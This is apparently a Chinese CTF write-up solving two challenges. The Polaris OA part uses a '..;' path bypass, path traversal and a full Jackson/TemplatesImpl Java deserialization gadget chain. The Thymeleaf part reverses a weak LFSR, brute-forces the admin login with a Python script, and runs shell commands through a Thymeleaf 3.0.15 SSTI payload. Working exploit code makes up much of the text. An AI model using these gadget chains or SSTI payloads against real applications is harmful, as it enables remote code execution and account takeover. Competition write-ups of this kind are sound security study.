Polaris Oa、软件系统安全赛Themeleaf
Polaris oa
AuthController硬编码了admin的username和password,所以我们只能注册普通用户

并且过滤器也有黑名单

参考绕过补丁,再次实现华夏erp未授权rce已修复,构造user/..;123/admin即可绕过
管理员面板有三个功能,上传文件、解析文件、查询文件
文件上传存在黑名单
private static final Set<String> FORBIDDEN_EXTENSIONS = new HashSet(Arrays.asList("jsp", "jspx", "asp", "aspx", "php", "exe", "sh", "bat", "cmd"));调用fileManager.saveFile方法保存文件

而saveFile方法对文件内容调用simpleEncrypt处理

simpleEncrypt对文件内容进行异或处理

我们继续看看另外两个功能,对应AjaxController
当managerMethod为deserializeData时调用handleDeserializeData方法

然后调用deserializeData方法


最后在deserializeFile方法中进行反序列化

如果存在相应的解密方法,我们就可以尝试上传一个序列化后的文件,通过deserializeData方法反序列化
当managerMethod为parseService时调用handleParseService方法

然后调用parseService方法

我们先看getDecryptedTempFile方法

首先通过readFileContent读取文件内容

读取文件内容后调用simpleDecrypt对文件内容进行处理,跟进这个方法

实际上还是调用了simpleEncrypt方法
继续看serializationList方法

生成带_parsed后缀的文件名并写入序列化数据,但是序列化的实际上是InterfaceConfig对象
这样一看上传后的文件和序列化处理后的文件都是被异或处理了,那么实际上是不会反序列化我们原来上传的文件内容
但是还有一个DocController,直接看checkIsSign方法

这里fileList以$分割,前面是源文件,后面是目标文件
并且这里存在目录穿越,我们可以把刚开始上传的文件写到任意目录

decrypt方法还调用了xorCrypt对我们的源文件进行解密

那么我们上传一个文件到docs目录,再通过checkIsSign方法目录穿越到uploads目录,最后调用deserializeData对其进行反序列化即可
依赖存在Jackson

打Jackson原生反序列化
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(PoC.class.getClassLoader()));
CtClass ctClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");//获取并修改方法
originalMethod.setName("replace");
ctClass.toClass();//加载修改后的类
CtClass clazz = pool.makeClass("p0l1st");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// POJONode jsonNodes = new POJONode(templates);
POJONode jsonNodes = new POJONode(makeTemplatesImplAopProxy(templates));
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static Object makeTemplatesImplAopProxy(Object templatesImpl) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{javax.xml.transform.Templates.class},
handler
);
return proxy;
}
}上传文件

这里还要进行一次序列化处理,因为我们目录穿越需要覆盖这个文件

目录穿越覆盖上面的17758829918133124_parsed

最后进行反序列化

软件系统安全赛 thymeleaf
SecurityFilterChain配置中所有接口都可以访问

这个jar包名字就是prng(伪随机数生成器),直接看RandomService
public class RandomService {
private final PseudoRandomGenerator prng;
private final UserRepository userRepository;
private final PasswordEncoder passwordEncoder;
private long adminPassword;
private final long seed;
@Autowired
public RandomService(UserRepository userRepository) {
this.userRepository = userRepository;
this.passwordEncoder = new BCryptPasswordEncoder();
SecureRandom random = new SecureRandom();
long rawSeed = (long)random.nextInt() << 32 | (long)random.nextInt() & 4294967295L;
this.seed = rawSeed & 281474976710655L;
this.prng = new PseudoRandomGenerator(this.seed);
for(int i = 0; i < 9; ++i) {
this.prng.next();
}
this.adminPassword = this.prng.next();
}
@PostConstruct
public void initAdminUser() {
this.userRepository.deleteAll();
String plainPassword = String.format("%016d", this.adminPassword % 10000000000000000L);
String hashedPassword = this.passwordEncoder.encode(plainPassword);
User admin = new User("admin", hashedPassword, "ADMIN");
this.userRepository.save(admin);
for(int i = 1; i <= 5; ++i) {
String username = "user" + i;
long userPlainPassword = this.prng.next();
String userPasswordStr = String.format("%016d", userPlainPassword % 10000000000000000L);
String userHashedPassword = this.passwordEncoder.encode(userPasswordStr);
User user = new User(username, userHashedPassword, "USER");
this.userRepository.save(user);
}
}
public long nextRandom() {
return this.prng.next();
}先用seed初始化prng,丢弃前9个输出,第十个输出赋值给adminPassword,在initAdminUser中设置了五个测试账户,分别对应11 12 13 14 15次输出,我们注册的用户会通过nextRandom调用prng.next也就是第16次输出
我们再看一下PseudoRandomGenerator
public class PseudoRandomGenerator {
private long state;
private static final long MASK = 281474976710655L;
private static final int BITLEN = 48;
public PseudoRandomGenerator(long seed) {
this.state = seed & 281474976710655L;
if (this.state == 0L) {
this.state = 190085268090081L;
}
}
public long next() {
long feedback = (this.state >> 47 ^ this.state >> 46 ^ this.state >> 43 ^ this.state >> 42) & 1L;
this.state = (this.state >> 1 | feedback << 47) & 281474976710655L;
return this.state;
}
public long getState() {
return this.state;
}
public void setState(long state) {
this.state = state & 281474976710655L;
}
public int nextInt(int min, int max) {
if (min >= max) {
return min;
} else {
long range = (long)max - (long)min + 1L;
long value = this.next() % range;
return (int)((long)min + value);
}
}
}PRNG 每次更新就是把状态右移一位,然后在最高位补一个由第 47、46、43、42 位异或出来的feedback。问题在于,右移的时候最低位(第 0 位)直接被丢掉了,而且这个最低位又没有参与feedback 的计算,所以这 1 bit 信息是彻底丢失的。也就是说,如果往回推状态的话,每回退一步都会多出一个“不确定的最低位”,可能是 0 或 1,对应两种情况。我们现在拿到的是第 16 次输出,而管理员密码是在第 10 次生成的,中间差了 6 步,所以一共会产生 64 种可能。
所以我们拿到注册用户的密码之后直接爆破就行了
import requests
url = "http://127.0.0.1:8080/dologin"
MASK = (1 << 48) - 1
OBSERVED_PASSWORD = "0183087383712632"
def prev_states(cur: int):
# cur 的低 47 位对应 prev 的高 47 位左移回来
upper = (cur & ((1 << 47) - 1)) << 1
res = []
# 枚举丢失的最低位 b0
for b0 in (0, 1):
prev = (upper | b0) & MASK
# 检查 prev 生成到 cur 时,feedback 是否匹配 cur 的最高位
fb = ((prev >> 47) ^ (prev >> 46) ^ (prev >> 43) ^ (prev >> 42)) & 1
if fb == ((cur >> 47) & 1):
res.append(prev)
return res
def recover_candidates(observed: str, back_steps: int = 6):
cur = int(observed)
states = {cur}
for _ in range(back_steps):
nxt = set()
for s in states:
nxt.update(prev_states(s))
states = nxt
passwords = sorted(f"{s % 10**16:016d}" for s in states)
return passwords
if __name__ == "__main__":
candidates = recover_candidates(OBSERVED_PASSWORD, 6)
print(f"candidate count: {len(candidates)}")
for i, pwd in enumerate(candidates, 1):
data = {
"username": "admin",
"password": pwd
}
r = requests.post(url, data=data,allow_redirects=False)
# print(r.text)
if r.status_code == 302:
print(f"[+]find password:{pwd}")
登录

admin路由存在thymeleaf ssti

并且使用的版本是3.0.15

通过#response.setHeader来回显
import base64
import requests
BASE = "http://192.168.2.105:8080/"
ADMIN_PASSWORD = "0177118512471561"
command = [
"whoami",
]
payload = "__|$${#response.setHeader('Xb64',''+(''.getClass().forName('java.lang.Process').getMethod('waitFor').invoke(#p=(New java.lang.ProcessBuilder()).command('sh','-c','"+command[0]+"').redirectErrorStream(true).start())!=null ? ''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(''.getClass().forName('java.io.InputStream').getMethod('readAllBytes').invoke(''.getClass().forName('java.lang.Process').getMethod('getInputStream').invoke(#p))) : 'Z'))}|__::main"
s = requests.Session()
s.trust_env = False
r = s.post(
BASE + "/dologin",
data={"username": "admin", "password": ADMIN_PASSWORD},
allow_redirects=False,
timeout=15,
)
print("login:", r.status_code)
r = s.get(
BASE + "/admin",
params={"section": payload},
timeout=30,
)
b64 = r.headers.get("Xb64") or r.headers.get("Xb64".title())
print(base64.b64decode(b64).decode())